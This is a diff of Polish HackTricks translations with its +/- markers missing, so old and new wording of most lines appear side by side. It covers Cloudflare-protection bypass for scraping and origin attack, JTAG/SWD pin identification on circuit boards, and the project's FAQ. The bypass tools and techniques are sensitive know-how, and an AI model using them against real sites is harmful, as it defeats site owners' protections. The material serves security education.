{% endhint %}
Więcej informacji [**tutaj**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
### Dozwolone adresy IP Cloudflare
### Pozwól na Listę Adresów IP Cloudflare
Spowoduje to **odrzucenie połączeń, które nie pochodzą z zakresu adresów IP Cloudflare**. Jest to również podatne na wcześniejszą konfigurację, w której atakujący po prostu **skierowuje swoją własną domenę w Cloudflare** na adres IP **ofiary** i atakuje go.
To spowoduje, że **połączenia niepochodzące z adresów IP Cloudflare** zostaną odrzucone. Jest to również podatne na wcześniejszą konfigurację, w której atakujący po prostu **skieruje swoją własną domenę w Cloudflare** na adres IP **ofiary** i ją zaatakuje.
Więcej informacji [**tutaj**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
## Omijanie Cloudflare dla scrapingu
## Ominięcie Cloudflare dla scrapowania
### Pamięć podręczna
Czasami chcesz po prostu ominąć Cloudflare, aby tylko przeszukiwać stronę internetową. Istnieją pewne opcje:
Czasami chcesz po prostu ominąć Cloudflare, aby tylko scrapować stronę internetową. Istnieją pewne opcje:
* Użyj pamięci podręcznej Google: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
* Użyj innych usług pamięci podręcznej, takich jak [https://archive.org/web/](https://archive.org/web/)
### Rozwiązania Cloudflare
Opracowano wiele rozwiązań Cloudflare:
Opracowano kilka rozwiązań do omijania Cloudflare:
* [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr)
* [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [Przewodnik tutaj](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/)
@ -108,52 +108,51 @@ Opracowano wiele rozwiązań Cloudflare:
* [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[Zarchiwizowane]
* [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe)
### Wzmocnione przeglądarki bez głowy <a href="#option-4-scrape-with-fortified-headless-browsers" id="option-4-scrape-with-fortified-headless-browsers"></a>
### Wzmocnione przeglądarki bezinterfejsowe <a href="#option-4-scrape-with-fortified-headless-browsers" id="option-4-scrape-with-fortified-headless-browsers"></a>
Użyj przeglądarki bez głowy, która nie jest wykrywana jako automatyczna przeglądarka (może być konieczne dostosowanie jej do tego). Oto kilka opcji:
Użyj przeglądarki bezinterfejsowej, która nie jest wykrywana jako przeglądarka zautomatyzowana (może być konieczne dostosowanie jej do tego). Niektóre opcje to:
* **Puppeteer:** Wtyczka [stealth](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth) dla [puppeteer](https://github.com/puppeteer/puppeteer).
* **Playwright:** Wkrótce pojawi się wtyczka [stealth](https://www.npmjs.com/package/playwright-stealth) dla Playwright. Śledź rozwój [tutaj](https://github.com/berstend/puppeteer-extra/issues/454) i [tutaj](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
* **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver), zoptymalizowany patch dla Selenium Chromedriver.
* **Playwright:** Wkrótce pojawi się wtyczka [stealth](https://www.npmjs.com/package/playwright-stealth) dla Playwright. Śledź postępy [tutaj](https://github.com/berstend/puppeteer-extra/issues/454) i [tutaj](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
* **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) zoptymalizowany łatka do Selenium Chromedriver.
### Inteligentny proxy z wbudowanym mechanizmem bypassu Cloudflare <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
### Inteligentny Proxy z Wbudowanym Ominięciem Cloudflare <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
**Inteligentne proxy** są ciągle aktualizowane przez wyspecjalizowane firmy, które mają na celu obejście środków bezpieczeństwa Cloudflare (ponieważ to jest ich działalność).
**Inteligentne proxy** są ciągle aktualizowane przez specjalizowane firmy, które mają na celu obejście środków bezpieczeństwa Cloudflare (ponieważ to ich działalność).
Niektóre z nich to:
* [ScraperAPI](https://www.scraperapi.com/?fp_ref=scrapeops)
* [ScraperAPI](https://www.scraperapi.com/?fp\_ref=scrapeops)
* [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops)
* [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32)
* [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) są znane z własnych mechanizmów bypassu Cloudflare.
* [Oxylabs](https://oxylabs.go2cloud.org/aff\_c?offer\_id=7\&aff\_id=379\&url\_id=32)
* [Smartproxy](https://prf.hn/click/camref:1100loxdG/\[p\_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) są znane z własnych mechanizmów ominięcia Cloudflare.
Dla tych, którzy szukają zoptymalizowanego rozwiązania, wyróżnia się [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/). Ta usługa integruje ponad 20 dostawców proxy w jedno API, automatycznie wybierając najlepsze i najbardziej opłacalne proxy dla Twoich domen docelowych, oferując tym samym doskonałą opcję do omijania obrony Cloudflare.
Dla tych, którzy szukają zoptymalizowanego rozwiązania, wyróżnia się [Aggregator Proxy ScrapeOps](https://scrapeops.io/proxy-aggregator/). Ta usługa integruje ponad 20 dostawców proxy w jedno API, automatycznie wybierając najlepszy i najbardziej opłacalny proxy dla twoich domen docelowych, oferując tym samym doskonałą opcję do omijania obrony Cloudflare.
### Reverse Engineering ochrony przed botami Cloudflare <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
### Odwrócenie Ochrony Przeciwbota Cloudflare <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
Reverse engineering środków anty-botowych Cloudflare to taktyka stosowana przez dostawców inteligentnych proxy, odpowiednia do rozległego przeszukiwania stron internetowych bez wysokich kosztów związanych z uruchamianiem wielu przeglądarek bez głowy.
Odwracanie ochrony przeciwbota Cloudflare to taktyka stosowana przez dostawców inteligentnych proxy, odpowiednia do rozległego scrapowania stron internetowych bez wysokich kosztów związanych z uruchamianiem wielu przeglądarek bezinterfejsowych.
**Zalety:** Ta metoda pozwala na stworzenie niezwykle wydajnego bypassu, który specjalnie celuje w kontrole Cloudflare, idealny do operacji na dużą skalę.
**Zalety:** Ta metoda pozwala na stworzenie niezwykle wydajnego ominięcia, które specjalnie celuje w kontrole Cloudflare, idealne do operacji na dużą skalę.
**Wady:** Wada polega na złożoności związanej z zrozumieniem i oszukiwaniem celowo niejasnego systemu anty-botowego Cloudflare, wymagającym ciągłego wysiłku w celu testowania różnych strategii i aktualizacji bypassu w miarę udoskonalania ochrony Cloudflare.
**Wady:** Wadą jest złożoność związana z zrozumieniem i oszukiwaniem celowo niejasnego systemu przeciwbota Cloudflare, wymagająca ciągłego wysiłku w celu testowania różnych strategii i aktualizacji ominięcia w miarę udoskonalania swojej ochrony przez Cloudflare.
Dowiedz się więcej na temat tego, jak to zrobić w [oryginalnym artykule](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/).
## Odwołania
## Referencje
* [https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,27 +1,26 @@
# Hacking sprzętowy
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów GitHub.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## JTAG
#
JTAG pozwala na przeprowadzenie skanowania granicznego. Skanowanie graniczne analizuje określoną układankę, w tym wbudowane komórki skanowania granicznego i rejestry dla każdego pinu.
# JTAG
Standard JTAG definiuje **konkretne polecenia do przeprowadzania skanowania granicznego**, w tym:
JTAG umożliwia przeprowadzenie skanu granicznego. Skan graniczny analizuje określone układy, w tym wbudowane komórki i rejestry skanu granicznego dla każdego pinu.
Standard JTAG definiuje **konkretne polecenia do przeprowadzania skanów granicznych**, w tym:
* **BYPASS** pozwala na przetestowanie określonego układu bez konieczności przechodzenia przez inne układy.
* **BYPASS** pozwala przetestować określony układ bez konieczności przechodzenia przez inne układy.
* **SAMPLE/PRELOAD** pobiera próbkę danych wchodzących i wychodzących z urządzenia, gdy jest w normalnym trybie działania.
* **EXTEST** ustawia i odczytuje stany pinów.
@ -30,49 +29,48 @@ Może również obsługiwać inne polecenia, takie jak:
* **IDCODE** do identyfikacji urządzenia
* **INTEST** do wewnętrznego testowania urządzenia
Możesz natknąć się na te instrukcje, gdy korzystasz z narzędzia takiego jak JTAGulator.
Możesz natknąć się na te instrukcje, gdy używasz narzędzia takiego jak JTAGulator.
## Port dostępu testowego
### Port dostępu do testów
Skanowanie graniczne obejmuje testy czteroprzewodowego **Portu Dostępu Testowego (TAP)**, uniwersalnego portu zapewniającego **dostęp do funkcji wsparcia testu JTAG** wbudowanych w komponent. TAP wykorzystuje następujące pięć sygnałów:
Skanowanie graniczne obejmuje testy czteroprzewodowego **Portu Dostępu do Testów (TAP)**, portu ogólnego przeznaczenia zapewniającego **dostęp do funkcji wsparcia testów JTAG** wbudowanych w komponent. TAP wykorzystuje następujące pięć sygnałów:
* Wejście zegara testowego (**TCK**) TCK to **zegar**, który definiuje, jak często kontroler TAP będzie podejmował pojedynczą akcję (innymi słowy, przejście do następnego stanu w maszynie stanów).
* Wybór trybu testowego (**TMS**) wejście TMS kontroluje **maszynę stanów skończonych**. Przy każdym taktowaniu zegara kontroler TAP JTAG urządzenia sprawdza napięcie na pinie TMS. Jeśli napięcie jest poniżej określonego progu, sygnał jest uważany za niski i interpretowany jako 0, natomiast jeśli napięcie jest powyżej określonego progu, sygnał jest uważany za wysoki i interpretowany jako 1.
* Wejście danych testowych (**TDI**) TDI to pin, który **wysyła dane do układu za pomocą komórek skanujących**. Każdy producent jest odpowiedzialny za zdefiniowanie protokołu komunikacyjnego przez ten pin, ponieważ JTAG tego nie definiuje.
* Wyjście danych testowych (**TDO**) TDO to pin, który **wysyła dane z układu**.
* Wejście resetowania testowego (**TRST**) Opcjonalne TRST resetuje **maszynę stanów skończonych do znanego stanu**. Alternatywnie, jeśli TMS jest utrzymywane na wartości 1 przez pięć kolejnych cykli zegara, wywołuje reset, tak samo jak pin TRST, dlatego TRST jest opcjonalny.
* Wejście zegara testowego (**TCK**) TCK to **zegar**, który definiuje, jak często kontroler TAP podejmie pojedynczą akcję (innymi słowy, przejdzie do następnego stanu w maszynie stanów).
* Wejście wyboru trybu testowego (**TMS**) TMS kontroluje **maszynę stanów skończonych**. Przy każdym taktowaniu zegara kontroler TAP JTAG urządzenia sprawdza napięcie na pinie TMS. Jeśli napięcie jest poniżej określonego progu, sygnał jest uważany za niski i interpretowany jako 0, natomiast jeśli napięcie jest powyżej określonego progu, sygnał jest uważany za wysoki i interpretowany jako 1.
* Wejście danych testowych (**TDI**) TDI to pin, który wysyła **dane do układu za pośrednictwem komórek skanowania**. Każdy producent jest odpowiedzialny za określenie protokołu komunikacyjnego przez ten pin, ponieważ JTAG tego nie definiuje.
* Wyjście danych testowych (**TDO**) TDO to pin, który wysyła **dane z układu**.
* Wejście resetowania testowego (**TRST**) Opcjonalne TRST resetuje maszynę stanów skończonych **do znanego dobrego stanu**. Alternatywnie, jeśli TMS jest utrzymywane na 1 przez pięć kolejnych cykli zegara, wywołuje reset, tak samo jak pin TRST, dlatego TRST jest opcjonalny.
Czasami będziesz w stanie znaleźć te piny oznaczone na PCB. W innych przypadkach może być konieczne **odnalezienie ich**.
Czasami będziesz w stanie znaleźć te piny oznaczone na PCB. W innych sytuacjach możesz potrzebować ich **znalezienia**.
## Identyfikowanie pinów JTAG
### Identyfikacja pinów JTAG
Najszybszym, ale najdroższym sposobem wykrywania portów JTAG jest użycie **JTAGulatora**, urządzenia stworzonego specjalnie w tym celu (choć może **również wykrywać układy UART**).
Posiada **24 kanały**, które można podłączyć do pinów płytek. Następnie wykonuje atak **BF** wszystkich możliwych kombinacji, wysyłając polecenia skanu granicznego **IDCODE** i **BYPASS**. Jeśli otrzyma odpowiedź, wyświetla kanał odpowiadający każdemu sygnałowi JTAG.
Posiada **24 kanały**, które można podłączyć do pinów płytek. Następnie wykonuje **atak BF** wszystkich możliwych kombinacji wysyłając polecenia skanowania granicznego **IDCODE** i **BYPASS**. Jeśli otrzyma odpowiedź, wyświetla kanał odpowiadający każdemu sygnałowi JTAG.
Tańszym, ale znacznie wolniejszym sposobem identyfikacji pinów JTAG jest użycie [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) załadowanego na mikrokontrolerze kompatybilnym z Arduino.
Korzystając z **JTAGenum**, najpierw **zdefiniujesz piny sondowania** urządzenia, które będziesz używać do wyliczenia. Musisz odwołać się do diagramu pinów urządzenia, a następnie połączyć te piny z punktami testowymi na docelowym urządzeniu.
Korzystając z **JTAGenum**, najpierw musisz **zdefiniować piny urządzenia sondującego**, które będziesz używać do wyliczenia. Musisz odnieść się do schematu pinów urządzenia, a następnie połączyć te piny z punktami testowymi na docelowym urządzeniu.
Trzecim sposobem identyfikacji pinów JTAG jest **sprawdzenie PCB** pod kątem jednego z pinów. W niektórych przypadkach PCB mogą wygodnie dostarczać **interfejs Tag-Connect**, który jest wyraźnym wskazaniem, że płyta posiada złącze JTAG. Możesz zobaczyć, jak wygląda ten interfejs na stronie [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). Dodatkowo, przeglądanie **kart katalogowych układów scalonych na PCB** może ujawnić diagramy pinów wskazujące na interfejsy JTAG.
**Trzecim sposobem** identyfikacji pinów JTAG jest **inspekcja PCB** w poszukiwaniu jednego z pinów. W niektórych przypadkach PCB mogą wygodnie dostarczyć **interfejs Tag-Connect**, co stanowi jasny sygnał, że płyta ma również złącze JTAG. Możesz zobaczyć, jak wygląda ten interfejs na stronie [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). Dodatkowo, inspekcja **arkuszy danych chipsetów na PCB** może ujawnić schematy pinów wskazujące na interfejsy JTAG.
# SDW
## SDW
SWD to protokół specyficzny dla ARM, zaprojektowany do debugowania.
Interfejs SWD wymaga **dwóch pinów**: dwukierunkowego sygnału **SWDIO**, który jest odpowiednikiem pinów **TDI i TDO w JTAG**, oraz zegara **SWCLK**, który jest odpowiednikiem **TCK** w JTAG. Wiele urządzeń obsługuje **Port Debugowania Serial Wire lub JTAG (SWJ-DP)**, łączny interfejs JTAG i SWD, który umożliwia podłączenie sondy SWD lub JTAG do docelowego urządzenia.
SWD to protokół specyficzny dla ARM zaprojektowany do debugowania.
Interfejs SWD wymaga **dwóch pinów**: dwukierunkowego sygnału **SWDIO**, który jest odpowiednikiem pinów **TDI i TDO w JTAG** oraz zegara, oraz **SWCLK**, który jest odpowiednikiem **TCK** w JTAG. Wiele urządzeń obsługuje **Port Szeregowy lub Port Debugowania JTAG (SWJ-DP)**, łączny interfejs JTAG i SWD, który umożliwia podłączenie sondy SWD lub JTAG do celu.
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów GitHub.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>

View file

@ -1,16 +1,16 @@
# Wartości HackTricks i FAQ
# Wartości i FAQ HackTricks
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
</details>
@ -19,15 +19,15 @@ Inne sposoby wsparcia HackTricks:
{% hint style="success" %}
Oto **wartości projektu HackTricks**:
* Zapewnienie **DARMOWEGO** dostępu do **EDUKACYJNYCH zasobów hakerskich** dla **WSZYSTKICH** w Internecie.
* Hakerstwo polega na uczeniu się, a nauka powinna być jak najbardziej darmowa.
* Zapewnienie **DARMOWEGO** dostępu do zasobów **EDUKACYJNEGO hakowania** dla **WSZYSTKICH** w Internecie.
* Hakowanie polega na nauce, a nauka powinna być jak najbardziej darmowa.
* Celem tej książki jest służenie jako wszechstronny **zasób edukacyjny**.
* **PRZECHOWYWANIE** niesamowitych **technik hakerskich**, które społeczność publikuje, przyznając **ORYGINALNYM** **AUTOROM** wszystkie **zasługi**.
* **Nie chcemy zasług od innych osób**, chcemy tylko przechowywać fajne sztuczki dla wszystkich.
* **PRZECHOWUJ** niesamowite **techniki hakowania**, które społeczność publikuje, przyznając **ORYGINALNYM AUTOROM** całą **zasługę**.
* **Nie chcemy zasługi od innych osób**, chcemy tylko przechowywać fajne sztuczki dla wszystkich.
* Piszemy również **nasze własne badania** w HackTricks.
* W wielu przypadkach napiszemy tylko **w HackTricks podsumowanie ważnych części** techniki i **zachęcamy czytelnika do odwiedzenia oryginalnego postu** po więcej szczegółów.
* **ORGANIZUJEMY** wszystkie techniki hakerskie w książce, aby były **BARDZIEJ DOSTĘPNE**
* Zespół HackTricks poświęcił tysiące godzin na darmowe **tylko po to, aby zorganizować treść**, aby ludzie mogli **szybciej się uczyć**
* W wielu przypadkach napiszemy tylko **w HackTricks podsumowanie ważnych części** techniki i zachęcimy czytelnika do odwiedzenia oryginalnego postu po więcej szczegółów.
* **ORGANIZUJEMY** wszystkie techniki hakowania w książce, aby były **BARDZIEJ DOSTĘPNE**
* Zespół HackTricks poświęcił tysiące godzin za darmo **tylko po to, aby zorganizować treści**, dzięki czemu ludzie mogą **szybciej się uczyć**
{% endhint %}
<figure><img src="../.gitbook/assets/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -35,18 +35,18 @@ Oto **wartości projektu HackTricks**:
## FAQ HackTricks
{% hint style="success" %}
* **Dziękuję bardzo za te zasoby, jak mogę ci podziękować?**
* **Dziękuję bardzo za te zasoby, jak mogę wam podziękować?**
{% endhint %}
Publicznie możesz podziękować zespołowi HackTricks za publiczne udostępnienie wszystkich tych zasobów w tweecie, w którym wspomnisz [**@hacktricks\_live**](https://twitter.com/hacktricks\_live).\
Jeśli jesteś szczególnie wdzięczny, możesz również [**sponsorować projekt tutaj**](https://github.com/sponsors/carlospolop).\
Możesz publicznie podziękować zespołowi HackTricks za zebranie wszystkich tych zasobów publicznie w tweecie, wspominając [**@hacktricks\_live**](https://twitter.com/hacktricks\_live).\
Jeśli jesteś szczególnie wdzięczny, możesz także [**sponsorować projekt tutaj**](https://github.com/sponsors/carlospolop).\
I nie zapomnij **dać gwiazdki w projektach na Githubie!** (Znajdź linki poniżej).
{% hint style="success" %}
* **Jak mogę przyczynić się do projektu?**
{% endhint %}
Możesz **udostępniać nowe wskazówki i sztuczki społeczności lub naprawiać błędy**, które znajdziesz w książkach, wysyłając **Pull Request** na odpowiednie strony Githuba:
Możesz **udostępniać nowe wskazówki i sztuczki społeczności lub naprawiać błędy**, które znajdziesz w książkach, wysyłając **Pull Request** na odpowiednie strony Github:
* [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
* [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
@ -57,14 +57,14 @@ Nie zapomnij **dać gwiazdki w projektach na Githubie!**
* **Czy mogę skopiować pewne treści z HackTricks i umieścić je na moim blogu?**
{% endhint %}
Tak, możesz, ale **nie zapomnij podać konkretnego linku(lub linków)**, skąd pochodzi treść.
Tak, możesz, ale **nie zapomnij podać konkretnych linków**, skąd pochodziła treść.
{% hint style="success" %}
* **Jak mogę cytować stronę z HackTricks?**
{% endhint %}
Jeśli link **do** strony(y), z której pochodzi informacja, jest widoczny, to wystarczy.\
Jeśli potrzebujesz bibtex, możesz użyć czegoś takiego:
O ile link **do** strony(y), z której czerpałeś informacje, się pojawi, to wystarczy.\
Jeśli potrzebujesz bibtex, możesz użyć czegoś w stylu:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -74,88 +74,96 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
}
```
{% hint style="warning" %}
* **Czy mogę skopiować całe HackTricks na swojego bloga?**
* **Czy mogę skopiować wszystkie HackTricks na swojego bloga?**
{% endhint %}
**Raczej nie**. To **nikomu nie przyniesie korzyści**, ponieważ cała **treść jest już publicznie dostępna** w oficjalnych, bezpłatnych książkach HackTricks.
**Raczej nie**. To **nie przyniesie korzyści nikomu**, ponieważ cała **zawartość jest już publicznie dostępna** w oficjalnych książkach HackTricks za darmo.
Jeśli obawiasz się, że treść zniknie, po prostu sklonuj ją na Githubie lub pobierz, jak już wspomniałem, jest już za darmo.
Jeśli obawiasz się, że zawartość zniknie, po prostu sklonuj ją na Githubie lub pobierz, jak już wspomniałem, jest to już darmowe.
{% hint style="warning" %}
* **Dlaczego masz sponsorów? Czy książki HackTricks są w celach komercyjnych?**
* **Dlaczego macie sponsorów? Czy książki HackTricks są w celach komercyjnych?**
{% endhint %}
Pierwszą **wartością HackTricks** jest oferowanie **DARMOWYCH** edukacyjnych zasobów do hakowania **WSZYSTKIM** na świecie. Zespół HackTricks **poświęcił tysiące godzin** na udostępnienie tej treści, ponownie, **za darmo**.
Pierwszą **wartością HackTricks** jest oferowanie **DARMOWYCH** zasobów edukacyjnych z zakresu hakerstwa dla **WSZYSTKICH** na świecie. Zespół HackTricks poświęcił **tysiące godzin** na udostępnienie tej zawartości, ponownie, za **DARMO**.
Jeśli uważasz, że książki HackTricks są tworzone w celach **komercyjnych**, jesteś **CAŁKOWICIE W BŁĘDZIE**.
Jeśli sądzisz, że książki HackTricks są tworzone w celach **komercyjnych**, jesteś **CAŁKOWICIE W BŁĘDZIE**.
Mamy sponsorów, ponieważ, chociaż cała treść jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli chcą. Dlatego oferujemy ludziom możliwość dotacji dla HackTricks za pośrednictwem [**sponsorów Githuba**](https://github.com/sponsors/carlospolop), a **istotne firmy cyberbezpieczeństwa** sponsorują HackTricks i **umieszczają reklamy** w książce, zawsze w miejscach, gdzie są **widoczne**, ale **nie przeszkadzają w procesie nauki**, jeśli ktoś skupia się na treści.
